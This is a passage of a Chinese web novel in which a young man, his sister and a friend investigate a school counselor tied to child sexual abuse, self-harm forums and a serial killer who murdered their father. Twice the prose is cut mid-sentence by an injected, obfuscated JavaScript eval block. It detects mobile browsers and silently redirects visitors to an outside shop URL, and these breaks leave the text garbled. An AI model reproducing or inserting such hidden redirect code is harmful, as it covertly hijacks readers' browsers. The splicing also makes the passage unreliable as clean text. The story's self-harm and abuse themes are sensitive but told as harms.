就跟当时瞧见他伤口时一样,此刻站在门厅里的艾莉也同样用一种捉摸不透的眼神瞧着他的手背,“你要是非这么说,我也没意见。”她哼了一声。 “就是遛狗的时候迸裂了。”艾登重复了一遍,像是为了要让自己记住这个谎言。实际上,连他自己都不知道伤口怎么又出血了,今天早上起来时床单上与纱布上都有鲜血,仿佛伤口本身也不想继续愈合,从缝线粉饰太平的假象中挣脱出来,“上楼来说吧。” 他忍下了想要提起艾莉同样也自残的冲动,现在不是谈这件事的时候。 上次的谈话因为他的受伤戛然而止,艾莉和黎疏眠第一时间就把他带去了创伤中心——那儿无需预约,直接就可以为来访者处理类似这样的伤口。饶是如此,也足足花了艾登五六个小时才能得以离开,黎疏眠和艾莉都得回家去了。因此,这一次,他们三个刚在厨房中岛旁坐下,艾登就立刻开口问了,“上次我让你查的那些事,你都查到了吗?” “查到了,”艾莉从书包里拿出她的笔记本电脑,“1998年和1997年都没有除了平原高中以外的任何一所高中招聘心理咨询老师——这本来这就是一个低工资的职位,很多学校都会鼓励他们在职的学生辅导员考取一个心理学的学位及通过国家认证校园心理学家考试(NCSP),这样就省去了多雇佣一个员工的花费。所以很少会有学校公开招聘校心理辅导老师。” “也就是说,如果布雷特·希尔那时候想要成为一个校心理辅导员,平原高中就是他唯一的选择。”黎疏眠说,布雷特·希尔就是那个心理咨询教师的名字。 “那个指控布雷特·希尔姓侵的女孩呢?”艾登说,“她愿意进一步配合你们的调查吗?” “不,很可惜,她消失了,”艾莉耸了耸肩,“几乎所有来我们网站求助的女孩都做出了这个选择——不,我得把‘几乎’去掉,是所有前来求助的女孩最终都选择了放弃。之前我跟你说过的那个案例,就是那个第一个主动向我们求助的女孩,我们现在也没有办法继续联系上她了,还不知道拿她调查到了一半的案件怎么办呢。” “消失了?” “为了这些前来求助的女孩们的隐私和安全着想,我们推荐她们直接通过网站匿名与我们联系。但这也意味着,只要她们决定不再登录我和疏眠创立的网站,不再继续回应我们发过去的消息,我们也就找不到她们了——当然啦,我完全可以通过登录时的ip地址找到她们,但这么做意义何在呢?她们自己都不想拯救自己。” 说到最后,艾莉冷冷地哼了一声。 “据我的观察,”黎疏眠说,她的语气倒是温和不少,“很多女孩其实就是希望她们的秘密能有一个地方倾诉,能有人因此而回以真挚的关心而已。她们并不是真的想得到帮助,更不认为这件事值得她们‘毁掉’自己目前看似平静的生活,因此有许多消息甚至不会有第二次回复,有次,有个女孩甚至只留下了一句:‘我想我被强煎了’,就消失了,无论我和艾莉如何安慰她,给她发信息教她如何保留证据,向她确保向我们求助绝对不会遭到强煎犯的帮助,都没有任何回应。我和艾莉创建的网 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041266|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站,与其说是给她们提供的庇护所,不如说是她们所遭受的痛苦中夹着的一枚书签,反而让她们合上书本时更显眼地意识到了痛苦的存在——我很理解那些最终消失的女孩。” “但这就意味着我们手上没有可以用来起诉那个禽兽的案件。”艾登捏紧了拳头,感到疼痛后又匆忙松开。 “那倒不一定,”艾莉说,“我这个星期可没有闲着,还是找到了不少布雷特·希尔身上的猫腻的——最重要的一点,就是我发现他还同时兼职担任了不少其他高中的学生心理顾问——尤其是那些没有选择雇佣专业心理咨询师,而是选择让已有的员工进修心理学好身兼二职的学校,他做的工作是收集学生辅导员提交的案例,给出他的专业意见以后再返还。我通过追踪他的校园邮箱来往记录,发现从约州北部到中部的四十多所高中都与他有合作,他甚至成立了一个约州高中心理咨询教师协会,鼓励所有的成员在不违反HIPAA(健康保险隐私及责任法案)的规定下相互分享案例,有不少私立学校和南部的公立高中里的心理咨询教师都加入了这个协会。也就是说,他的这份看似平平无奇,而且工资微薄的工作实际上能允许他接触到大量有心理问题的高中生,数量远远超过我们的想象,甚至可以说基本涵盖了整个约州的高中生人群。我相信,这就是他放弃那份诊所的工作,转而选择去一所公立高中当心理咨询教师的唯一原因。如果你觉得这两点之间因果关系有些牵强,我还有更多的证据。” “什么证据?” “如果想要成为学校心理咨询教师,就必须拥有一个教育学的硕士学位。然而从布雷特·希尔的专业选择来看,他一开始的打算应该是成为一位专业的心理咨询医师,而且他在学校念书的时候,也没有试图通过国家认证校园心理学家考试——平原高中在他根本不满足这些成为心理咨询教师条件的前提下还是雇佣了他,先给了他一个不伦不类的职位——学校心理顾问,等他通过了考试以后才把他的职位转为现在这个。我怀疑平原高中会愿意为他网开一面,全是看在科尔·埃弗里是他的推荐人的份上。” “问题是,科尔·埃弗里是怎么跟他认识的?又为什么会把他推荐到一个高中去当心理咨询教师?” “我这个星期也在思考同一个问题,”艾莉说,“我考虑过他们在弗吉尼亚州时就认识的可能性,但是科尔·埃弗里从1987年就调到了约州,而布雷特·希尔当时还在维吉尼亚州大学念研究生。那个时候还没有网络,因此我没法找到任何能证明他们过去有所交集的证据——但我觉得FBI探员与一个还在大学里念书的年轻人相识的可能性微乎其微。” “他们有没有可能是通过家人认识的?”艾登问道。 “这一点很难说,我的确查到布雷特·希尔来自一个中产阶级家庭——就是那种可以轻轻松松负担得起好几个孩子的大学学费的家庭,但是如果凭借这一点,就说希尔家族与埃弗里家族有什么交情,我觉得有些牵强——不过,我倒是找到了一些证实他们有可能是在约州相识的证据。你们看这里,如果我搜索‘布雷特·希尔 法院起诉’,约州莫里斯县法院的网页上显示他的名下有一起被撤诉的法律案件,但是如果我点进去,它会显示我搜寻的网页不存在。但我还是能通过网页快照看见被起诉的时间:1998年。” “你认为是科尔·埃弗里帮他摆平了这起诉讼?”黎疏眠皱起了眉头。 “或者,是这起诉讼让科尔·埃弗里与他相识的,”艾登把艾莉的电脑拿了过来,快速浏览着上面罗列的一页页信息,“你想想看,是科尔·埃弗里让他得到了平原高中的工作——一个可以让他接触到众多心理有问题,换句话说,就是易于操控,内心脆弱的青少年的工作,而布雷特很显然是一个Pedophile,科尔·埃弗里为什么要赌上自己的名声去支持一个Pedophile呢?除非他自己也能从里面得到数不尽的好处,也就是说——” “科尔·埃弗里也是一个Pedophile。”艾莉替他说完了接下来的话。 “而那起莫名其妙从网页上消失了的诉讼很有可能与我们接到的求助是同一个,”黎疏眠也插话了,“如果你们的猜测没错的话,科尔·埃弗里应该是借着这个机会找到了一个可以帮助他狩猎青少年的捕食者。他们寻找的多半都是一些家庭破碎,内心抑郁,即便真的遭受了侵害也无处求助的孩子——而有谁能比一个学校心理咨询教师更容易接触到这类青少年呢?如果不是我们创建的这个网站给了他们一个可以求助的渠道——” “那么从这个女孩如今‘消失’了的情况来看,如果没有你们的网站,估计她就会跟之前十几年来无数遭到姓侵的女孩或男孩一样,选择了沉默。”艾登低声说道,他胸口的那个黑洞仍然在无声地应和着号叫。 一时间,谁都没有说话。过了良久,艾莉才打破了沉默。 “还有一件事情需要注意,”她说,“当我搜寻他的ip地址的时候,我发现他还同时活跃在大大小小数十个……”她抿着嘴沉默了几秒,才勉强地挤出了接下来的几个字,“自残论坛里。发现这一点后,我又接着深入挖掘了一番,最后,我终于得以确定——” 她深吸了一口气。 “恐怕布雷特·希尔当年跟我在网上说过话。” 90. Chapter·Thirty-Seven 指节轻轻落在门上,发出的声音像松鼠在敲开核桃。 艾登没有听见脚步声,但是房门在几秒后倏地打开了,赤倮着脚面,穿着同一身白棉家居服的Ming打开了门,他瘦弱的身体与门后漏出的细细罅隙严丝合缝,仿佛身后藏着什么凡人不能直视的宝藏。那双无神的黑色眼珠瞧着艾登,他没开口,但紧抿的唇角与微皱的眉头已经清楚无疑地表明了他的意思,“有什么事?” “我能进来吗?” 艾登手臂撑在墙上,低头望着Ming,棕色的发丝垂下,差一点点便能亲吻在Ming的脸上。 “黎疏眠和艾莉走了?” “你知道她们来了?” “我听到了车子驶上车道的声音。” “那你也应该听到车子从车道上驶离的声音,”艾登微微一笑,狡黠地眨了眨眼睛,“你在找借口不想让我进来吗,Ming?我可是做了你最爱喝的热可可——艾登特制,不加肉桂棒,在顶上给你铺上一层厚厚的奶油,再撒上可可粉的那种。” 他背在身后的右手转了出来,圣诞树造型的杯子上足足用奶油打了三圈,厚厚的可可粉几乎遮掩了白沫——这杯子也是他送给Ming的圣诞礼物之一,艾登自己也有一只配对的,他正不动声色地把家中所有他们使用的东西都变成情侣款。 Ming张了张嘴,似乎要为自己辩解什么,最终他只是向后倒退了两步,“我有一篇Essay要写,”他说道,话语里的赶客意味明显又浓烈,“下周一就要交。” “Essay可以等。”艾登反手将门在自己身后关上,Ming房间里的暖气开得很足,门旁的中央空调温度计显示他把暖气调到了华氏78度(相当于摄氏度25度),然而艾登仍然觉得很冷,也许是因为窗外毫无生机的苍白树木透进玻璃的倒影,也许是因为房间的整洁程度堪比一间毫无烟火气的酒店套房,也许是因为在椅子上坐下,面无表情,冷漠疏离的Ming,“我想跟你说的事不能等。” “我不想谈。”Ming迅速说道,抗拒得就像他此刻正在被警察审问一般。 房间里除了床以外能坐的地方不多,书桌前的椅子已经被Ming占据,艾登索性盘腿坐在地上,正对着Ming。他把手里的热可可递到Ming的手边,后者接倒是接了,却敷衍地抿了一口,还不见他露出往日吃到甜食时会有的心满意足的表情,他就将它放在了书桌上。 见状,艾登无言地叹了一口气。 “你不想谈平原高中的那个心理咨询教师,还是不想谈艾莉自残的事?” 后一句话只是让Ming的眉毛惊讶的耸动了一秒,他仍然是那副冷淡的模样,而且刻意避开了头一句话,“既然你已经猜到了这件事,你为什么不直接跟艾莉谈谈?跟我谈解决不了任何事情。” “是她主动提起这件事的,”艾登说,脑海中一闪而过艾莉撩起裙子,露出大腿上条条交错纵横的伤疤时的情形,愧疚感就像一桶熬坏了的劣酒般从他咽喉滑下,“因为平原高中的心理咨询教师,布雷特·希尔,曾经在自残论坛上与艾莉说过话,她想要揭露这一点,就没有办法掩盖她自残过的事实。” Ming身体剧烈一抖,就像艾登适才说出的那个名字猛地刺了他一下般,“自残论坛?” “对,看来他在那些自残论坛上出没已经有很长的一段时间了——最少也有十年,”艾登追逐着Ming不断躲闪的目光,“老实说,我,疏眠,还有艾莉,我们既不是心理学专业的学生,也对这位布雷特·希尔毫不了解,我们实在没法分析他的行为背后到底有什么目的,所以……” 在听见艾莉提起布雷特·希尔在自残论坛上早已潜伏多年时,艾登突然产生了想要大笑的冲动——同样的冲动在他高中的古希腊文学鉴赏课上出现过,他的老师询问大家谁能理解为什么亚里士多德会将该戏剧称为“古往今来悲剧的最高杰作”?时,只有艾登一个人站起来回到了问题,“因为悲剧从一开始就展现给了所有观众,”他说着,语气因为年少无知而对自己当时能提出那样的见解而沾沾自喜,“于是所有的观众都屏息等待着俄狄浦斯会如何避免这场悲剧的发生,然而,直到终焉,帷幕落下,他们才明白摩伊赖的丝线从一开始就已经布下,命运的走向已经无可改变,俄狄浦斯以为自己已经竭尽全力地向另一个方向奔去,殊不知那正是众神指引他跋涉的道路。” 如果布雷特·希尔与杀死他父亲的凶手有关,那么他与Ming的相识与相爱便是注定的,即便不是在杰森的派对上,也是在未来的某一天,他们终究会以受害者的身份遇见彼此,艾登知道自己仍然会被Ming的气质所吸引,就像在踏入统计学课室的那一刻他被坐在座位上的Ming所吸引一般。他会主动走上前去搭话,即便狠狠地撞上了Ming高筑的心墙也绝不会退缩。 然而,这听上去似乎浪漫无比的缠绕命运,却是先后建立在两起永远改变了他们人生的悲剧上,听着如何不让人觉得讽刺? 艾莉与疏眠当时也似乎意识到了这一点,她们不约而同地向楼上望去,艾登在她们眼里瞧见了难以掩饰的同情。“我记起我还有点事情要忙,荣誉协会的事情。”疏眠当即便站了起来,显然觉得接下来的谈话应该留给艾莉和他,“我一会再回来接你好吗?” 艾莉点了点头,那模样让记忆如浪涛一下子拍打在艾登的前额上——父亲还活着的时候,他出门上班前会挨个亲亲他们的脸蛋,“I will be back before you know it.”他总这么说,艾登那时候已经知道这是哄小孩的话,但艾莉却当了真,她会用力地点点头,抱紧她怀里的娃娃,露出一个甜美的笑容。那天真的神情后来时常出现在艾登的梦里,愧疚化为十七刀接连刺在他心上,如果父亲知道如今发生的一切,知道他被迫把他的孩子们留在了一种怎样的生活中,他会说什么? 他还在恍惚,艾莉就开口了,“在你问以前,我已经有大半年没有自残了,我不认为我以后还会那么做——所以请你不要生气,也不要大喊大叫。我不擅长应付你的脾气,你的愤怒只会让我也跟着愤怒起来,而那个唯一能让你冷静下来的人此刻正在楼上的房间里自闭,我孤立无援。” “嗯。”艾登只能说出这个字。这与他知道爷爷也清楚案件真相时的震撼不同,但他没有力气去向艾莉解释着其中的差异,愤怒与大喊大叫是他此刻最不可能做的两件事,爷爷的真相摧毁了撑起他世界的基础,艾莉的真相只让他觉得绝望,无力,自责,犹如他此刻终于真正地睁开了双眼,发觉从前他瞧见的一切俱是幻想的假象。欣欣向荣的城市实际上是灰暗老旧的废墟;响彻天地的海涛声是濒死鱼群的哭泣,干涸的岩床上被尸体雕刻出大大小小的坑洼;森林在数百年前就已灭绝,他曾经亲吻过的树干不过是沾满了青苔的塑料圆柱;而后花园中他珍爱无比,小心呵护的那朵玫瑰花早已枯萎,他之前所做的一切只是加重了她的奄奄一息。 “我第一次尝试自残是在九岁——我知道你肯定想知道这一点,想知道这一切是怎么开始的,从我录制了TAA的告别视频以后,我就一直想找个机会跟你谈谈这件事,但我一直没有找到好时机,也不知道该怎么向你开口。” 艾莉伸手握住了艾登的手,后者说不准是自己更需要这小小的一刻慰藉,还是自己的妹妹更需要。 “我在那之前就已经接触过网络了,你还记得妈妈那台出了点故障的笔记本电脑吗?当时她急着要处理工作,所以就直接开车去Bestbuy又买了一台,原来那台就这么丢在抽屉里,被她遗忘了。我偷偷拿回了自己房间,上网搜索要怎么修复——那时候我大约八岁,在修复电脑故障的同时,也花了好几个月自己学习计算机原理,因为我作为那个年龄的孩子还没有完全理解抽象概念,始终不明白网络世界是怎么被创造出来的。直到我似懂非懂地弄清楚这个问题的答案以后,我才开始真正地“上网冲浪”,也就在那时候,我想要试试看能不能在网络上找到我的同类,也就是说,那些同样因为自己父亲的去世而愧疚不已的孩子。 “我在LiveJounal上找到了一个私人博主,他就只写了那么一篇博文,讲述他的父亲被谋杀后他的感受和想法,他的文字非常粗糙,破碎,看上去并不像是一个受过多少教育的人,然而每一句话都能让我产生共鸣。他提到了他认为是自己害死了父亲,如果他从未出生,父亲也就不会死去这些想法——” 艾登想打断艾莉的话,但是妹妹非常坚决地将他正要举起的手又按了下去,“让我说完,”她说道。“如果我不鼓作气地把所有事情都说完,我以后就再也开不了口了。” “你继续说。” “继续说这篇博文——博主在最后提到了他利用自残来对抗愧疚与悔恨,当然,他没有用‘自残’这个一个可怕的词语,他用了一个非常诗意的说法‘从自身汲取痛苦,就像从伤口吸出毒液般,是一种自我的救赎与升华’,我当时太傻,还觉得这句话很美,甚至把它记在日记里,每次用刀割自己时我都会默默背诵这句话,就仿佛它是某种仪式的开场白或祈祷词什么的。他还留下了一个自残论坛的网址。我点进去了,成为了那个论坛的会员,布雷特·希尔也是在那儿找到我的。” 她说着,拉起了她波西米亚风的厚长裙,露出了膝盖上一英寸处的疤痕,冰冷,分明,仿佛是历尽沧桑的老家具或木头房子,能清楚地瞧见被时间侵蚀出的伤痕,最老的就像孕妇肚子上的妊娠纹,几乎消失在她如陶瓷般的肤色里,最年轻的疤痕仍然泛着淡淡的粉色,活像刚出生的蚯蚓。“以后如果我愿意的话,我可以用整容手术去掉这些伤疤,”她一边抚平裙子,一边说道,“不过我并不介意,我觉得这是一种纪念,提醒我有些痛苦是注定会留下伤疤的。” 艾登只瞧了一眼,就猛地转过头去,大脑一阵眩晕,他看见的每一道刀痕都仿佛是十年前那场谋杀的回音,呼啸着冲入他的心脏,一瞬间又将他推回过去,零星的回忆如烧毁的胶片断断续续地在荧幕上播放,画面残缺不全——慌张的小男孩跌跌撞撞地冲下楼梯,却一把被奶奶拦住;爷爷蹲下身为他系上小小的领带,“这才是我的男子汉。”;他站在殡仪馆外的草地上,紧紧牵着艾莉的手,眼前是一双半蹲着,穿着黑色西装长裤的腿,“我很抱歉听说你的父亲被谋杀了,”一只热乎有力的手落在他肩头,缓缓捏紧,“真可惜,如果你们这两个孩子没有出生,那么一切就不会发生了。” “他回来过。”艾登捏紧了艾莉的手,几乎喘不上气来,语无伦次地大喊着,“他回来过。” “谁?布雷特·希尔?” “不,不,你应该不记得了,我也不记得了,只在刚刚突然想起来——是那个连环杀人犯,艾莉,是他,我敢打赌他去了每一个受害者的葬礼,或者说至少是那些有孩子的受害者的葬礼,好告诉受害者的孩子们,如果他们从未出生,那么谋杀就不会发生了,就像他曾经告诉我们的那样。等等,不,如果是这样,他一定会确保受害者有孩子。Ming问过我,为什么这个凶手选择了琼斯先生而不是泰勒先生,其实原因非常明显,因为泰勒先生没有孩子。凶手真正想要折磨的对象是孩子。” “如果凶手想要折磨的是孩子,为什么非选择少数族裔的孩子不可?”艾莉问道。 “我不知道,这一部分我还没有想通,也许凶手不止一个人,而他们都在满足各自的需求。”艾登语无伦次地说着,仍然因为自己刚刚发现的真相而激动得浑身颤抖,“布雷特·希尔跟你说过什么?你还记得吗?” “没说多少,我当年对任何主动来找我说话的人都充满了敌意,我猜也许是这一点把他吓走了。”艾莉摇了摇头,“我已经找不到当年的记录了,那个论坛的网页从2011年开始就没有为服务器续费了,我能找到的东西不多——能找到布雷特·希尔的ip地址和昵称并确定我当年跟他说过话,已经超出我原先的预料了。” “如果布雷特·希尔跟那个连环杀手有关系,那么他可能不止找了你一个,也找了其他受害者的孩子——确认他们的精神状况,看他们是不是被折磨够了,我不清楚。但小本杰明也有自残行为,他也曾经上过自残论坛,假设我们能确定当年布雷特·希尔也与他说过话,那么基本就能确定我的理论,也能确定他确实与凶手有关系。” “你要怎么联系他?”艾莉说,“我倒是可以帮你找到他的电话号码,但那样就太诡异了。” “上次我们去拜访的时候,泰勒太太把她家座机电话留给我了,说要是案件有什么新的进展,可以打这个电话。”艾登掏出了手机,虽说后半段拜访他都是在浑浑噩噩中度过的,但这件事他倒还有点印象,“我可以试试看。今天是周末,也许小本杰明在家……”他快速点了几下手机,拨通了号码。电话只响了几声就被接了起来,“你好,泰勒太太,我是艾登·维尔兰德,你还记得我吗?是的,我很好,谢谢您的关心。噢,不,没出什么事,我只是想跟小本杰明说几句话。是的,我们找到了一些新的证据,想询问一下他。噢,谢谢您,我会在这儿等着。” 他说话的功夫,艾莉已经在纸上写下了六个昵称,递到了艾登面前,“这些都是与布雷特·希尔有相同Ip地址的账号,”她小声说,“你可以问问他是否跟其中任何一个交流过。” 艾登低头望着那张纸条,他不得不额外用力才能不使手机从他全是汗的手心滑落。只要小本杰明给出了一个肯定的答案,那这就是自从他开始调查杀死父亲的连环杀手以来,第一个找到的能将两个看似毫不相关的案件联系起来的证据,第一个证实他与Ming辛苦了大半年总结出的受害人侧写是正确的证据,第一个确凿无误地表明连环杀人犯的确存在的证据——尽管这类证据在法庭上并不算是非常有力,却能成为往后所有调查的坚实基石。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041267|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到底,艾登的心中始终有一部分默默怀疑着一切,就像小本杰明尖锐地指出的那样,他只是一个大三的犯罪司法专业学生,艾莉是个自学成才的高中生黑客,而Ming则是个半路插队的犯罪心理专业学生,没人会相信这样的组合能够侦破一起警察从未察觉的连环杀手案件,甚至就连他自己也难以相信这一点。在遇到Ming以前耗费两年时间却毫无进展的调查,与其说是他的努力,倒不如说是他的赎罪,如加缪《堕落》中的克雷芒斯,在幻想中一遍又一遍地将少女拉出水面又再度投下,只为让自己有个救人又救己的机会。然而,克雷芒斯能说一切为时已晚,无可挽回,肯尼却仍尚在人世。 “这里是小本杰明。”电话那头突然响起了声音。 “你现在方便说话吗,小本杰明?我想跟你谈谈你曾经拜访过的自残论坛的事,我找到了一些新的证据——” “我听不太清楚你在说什么,我们家座机的线路一直不太稳定,”小本杰明紧张地打断了他的话,“你不如直接打我的手机吧,电话是732-298-2263。” 艾登放下电话以后等了两分钟才拨通了号码——主要是为了给小本杰明回到自己房间的时间,他意识到对方的母亲和继父恐怕并不知道小本杰明自残的事,就像自己的妈妈,爷爷,还有奶奶也对艾莉自残的事情一无所知。 电话几乎是刚一打通就被接起了。 “什么证据?”小本杰明在电话那头压低了声音,“为什么这件事会跟我浏览自残论坛的事有关?” “我想知道,你是怎么找到那个自残论坛的?” “这个问题的答案很重要吗?” “很重要,小本杰明,我希望你能把每个细节都告诉我,如果你的讲述吻合我的猜想,那么就证明……”艾登得用另外一只手才能撑住手机,他的心脏在舌尖上剧烈跳动着,“就证明你的父亲并不是失踪,而是被连环杀人犯带走并杀死了。” 电话那头沉默了很久,艾登只能听见急促而沉重的呼吸声。小本杰明似乎在无限拖延着这一刹那,这世界上仅存的最后一分钟,他仍然可以假装自己的父亲还活在某个角落,正因为什么无关紧要的小事哈哈大笑,只是碰巧遗忘了他曾经的家人,碰巧遗忘了以他的名字命名的大儿子,碰巧遗忘了他曾经幸福美满的生活,因而在别处重新开始了一段人生。一个人要如何决定哪种现实更容易与之一同度过剩余的一生?自己的父亲是个不折不扣的混蛋,会无情地抛家弃子,不负责任地突然消失,然而同时仍然活在世界某处;亦或者自己的父亲是任何人所能渴求得到的最好的父母,却是具不知所踪,不知在何处腐烂的尸体。 小本杰明最后选择了后者。 “我起初是在LiveJounal上找到了一篇博文,当然那篇博文的作者的父亲已经被——已经被——我的意思是说,对方写了父亲被谋杀,但我当时并不那么认为,所以这部分我没什么共鸣,真正让我产生共鸣的是他认为自己是导致父亲死亡的原因那一部分,他提到了以自残对抗痛苦,我觉得很有意思,因为那时候——我不知道怎么说——I am a pain in the ass to my family,我很暴躁,很阴郁,却又完全不肯去看心理医生,因为,你也明白,去看心理医生就意味着要说出我遭遇了什么,这基本算是我最不愿意做的事情——比承认我父亲死了还不愿意。” “我明白你的感受。”艾登说。 “我能看得出我妈,还有莱姆斯对我有多么耐心,我自己也希望能让这一切结束,所以,很自然地,但我看到有人提到能用自残对抗这种痛苦,并且成功通过自残将这种痛苦化为一种内在的对抗,自我的救赎和升华时,我很心动,然而那篇博文下面提供的链接已经过期了——” “你是什么时候找到那篇博文的?” “四年前,”小本杰明说,“2012年左右,我不太记得具体时间了。” “你继续说。” “所以我就转而去寻找别的自残论坛,换着各种搜索词查找——因为如果你直接在谷歌上打‘自残’两个字,它只会给你一大堆求助热线和心理咨询网站。自残爱好者都有暗号,不过他们不像Pedophile那样,得隐秘行事才能避开FBI的追踪,因此没花费我什么功夫就找到了一个,就是我跟你和Ming提到过的那个,需要提交自残照片才能进去的。” “在那个论坛上,你有跟任何人交流吗?” “有,因为我想找到与我志同道合的人——更重要的是我想试着能不能找到那篇博文的作者,既然他给出的链接失效了,那他有可能就转移到了别的论坛上,至少我当时是那么想的。不过,我不想大张旗鼓地专门发个帖子寻人,我感觉那会让我看上去像个跟踪狂似的,所以我经常在那些询问大家是因为什么而自残,或者分享自己自残心路的帖子下面回复,希望能引起一些人的共鸣,然而根本没人附和我,大家都是因为一些无病呻吟的事情——失恋了,父母要离婚了,父母没满足自己的要求,和男朋友吵架了,和兄弟姐妹吵架了,想要气气某个人,什么的——自残,我觉得没意思极了,过段时间就退出了。” “那这几个昵称你有印象吗——可能是某个跟你说过话的人,我挨个挨个念给你听。” 他念到第三个名字,小本杰明就打断了他的话,“我记得这个变态,”他说道,“一开始我还觉得他人挺好的,跟他说了不少我自己的事情,也包括我父亲失踪的事,结果有一天他突然问我能不能给他发一张照片,我马上就警觉起来,然后把他删除了。所以说,怎么了,难道这个人就是那个杀了我父亲的人吗?他妈的,我跟杀死了自己父亲的凶手整整聊了一个月的天?” 艾登赶紧安抚了他几句,解释他只是怀疑这个人与连环杀手有联系,费了半天口舌才让出离愤怒的小本杰明挂了电话,甚至没来得及问问他是什么时候接触过凶手。手机屏幕都还没暗下去,他就迅速转向了艾莉,“我们必须要调查布雷特·希尔,”他说道,“这个人就是这起连环杀人案的突破点。” “你知道我们没法继续调查他,除非Ming愿意加入我们吧。”艾莉一针见血地指出了这一点,“第一,他本身就已经比我们当中的任何一个人都要了解他,他们之间有历史。第二,他是我们当中唯一一个懂得进行心理侧写的,没了他,就算我找到了一大堆与布雷特·希尔的资料,我们也没有办法把它们拼凑成一个完整的画面,就跟你拿到了这些受害者的资料已经好几年了,没有Ming的帮助你根本没法归纳出一个行之有效的受害者侧写。第三,其实我也不需要第三,前两个理由就已经足够了。你必须得跟他谈谈,艾登,哪怕只是为了能让他走出那段过去。” “我知道。” 艾登低声说,他的视线再一次转往楼上,目光所能触及的地方,他的心却像是永远也到不了。 91. Chapter·Thirty-Eight 艾登复述着他与艾莉的对话,Ming就坐在椅子上听着。开口说的时候他是什么姿势,说完时也是什么姿势,脸上冷漠的表情也没有丝毫变化,就像他们在现代艺术博物馆瞧见的那些用来讥讽当今社会的雕塑,死气沉沉,冰冷僵硬,既不奢求,也不怜悯。 “所以……你认为布雷特·希尔与连环杀人案有关吗?” “他不符合连环杀人犯的侧写。” Ming似乎一直屏着一口气,直到听见艾登最终提出的问题才悄悄松懈。他的眼光不再躲闪,而是公事公办般的平静。 “不过,我也同意,他同时与艾莉和小本杰明说过话这一点委实过于巧合,也许他确实跟连环杀人案有什么关系,我会根据这一点重新整理我们已经收集到的来自疑似受害者家属的证词,同时修改我们原本定好的说辞,之后我们再采访别的家属的时候就能用上了。” 只要不谈布雷特·希尔在Ming念高中时做了什么,Ming似乎就能装作什么事都没发生一般,如同谈论一个没什么感情的陌生人一样提起对方。艾登并不是什么心理大师,然而哪怕凭直觉他也知道这种反应并不正常——如果他给Ming造成的伤害足以触发一次那么严重的创伤反应,说明事情远远不止于性侵那么简单。 艾登拒绝去想布雷特·希尔对Ming做了些什么,拒绝去想Ming曾经对这个人怀抱过怎样的感情,不仅是出于愤怒,更是出于无可言说,而且不理智至极的妒忌。他了解自己爱上的男孩,Ming是一座防守坚固的堡垒,只会为那些他爱着的人开放吊桥,允许他们佩剑进入内部,给予他们肆无忌惮的权力。那些被挡在坚实城墙以外的人——他暴戾的继父,杰森,网络上不怀好意的评论,学校里的流言蜚语,即便带着投石器,开着推土机,甚至是现代大炮前来,对他造成的伤害都不值一提。 布雷特·希尔无疑是被他曾经迎进堡垒中的一员。 辗转难眠的这一个星期,艾登咨询了所有金钱能买来的最好的网上心理咨询师——美国东海岸虽然凌晨三点半,但英国却已是早上八点,如果这也嫌太早,悉尼也不过才下午五点。艾登不止一次感谢上帝发明了时差,一天二十四小时,只要一个人想,永远都能找到一个未曾入睡的国度。 由于小时候爷爷请来的那个心理咨询师的无能平庸,艾登实际上并不信任这群人,对他们声称能与病人共情的能力嗤之以鼻。但他没有别的选择,现学心理学太慢,更何况他没有Ming那样的天赋,无法将那些干瘪的名词和理论化为现实中的言语与理解。三个臭皮匠,顶个诸葛亮,他心想,三十个心理医生,总能顶半个Ming。 然而,出乎他意料的,绝大部分的医生都给了出奇地一致的结论和建议——Ming应该患有复杂型创伤后应激障碍,最好的处理方式是立即与一位心理医生建立长期医疗关系并开始服药,同时建议艾登最好不要轻易提起任何与Ming所受创伤有关的事件,免得再度引起心理性高热,对身体造成无可逆转的损伤。 “所以我不应该主动提起,而是等待他自行开口?”艾登在回复的邮件,亦或者是通讯软件的对话框里都写下了这么一句。 “是的,如果他自行开口讨论创伤,说明他的内心和身体都已经对这个决定做好了准备。在他还没有做好准备时就强迫对方讨论创伤,有可能会对对方的精神造成更大的伤害。鉴于您也没有受过相关的心理学知识培训,我们非常不建议您这么做。” 所有回复的邮件,亦或是通讯软件的对话框里都回复了这么一句话。 所以由头至尾的讲述,艾登未曾提起一句那让Ming屏息等待的问题,这一刻也没有追问,仿佛他们确实谈论的是一个与连环杀人犯有关的嫌疑人,平静的口吻,平静的神色。 “但我们也必须考虑到布雷特·希尔与杰森的父亲有密切来往这一点,”他说道,用微笑和放松的双手暗示Ming这就是他认为不能等,必须现在谈谈的事情,“我原本觉得这两件事之间可能关系不大,有可能只是一个巧合。艾莉说布雷特·希尔会与杰森的父亲搅和在一块是因为他们两个都是Pedophile,这个理论确实站得住脚,但鉴于这么多年了我一直没听说杰森他爸闹出除了种族歧视以外的丑闻,恐怕我们还需要更多的证据才能完全确认这一点。后来,我突然想起一件事。” “什么事?” 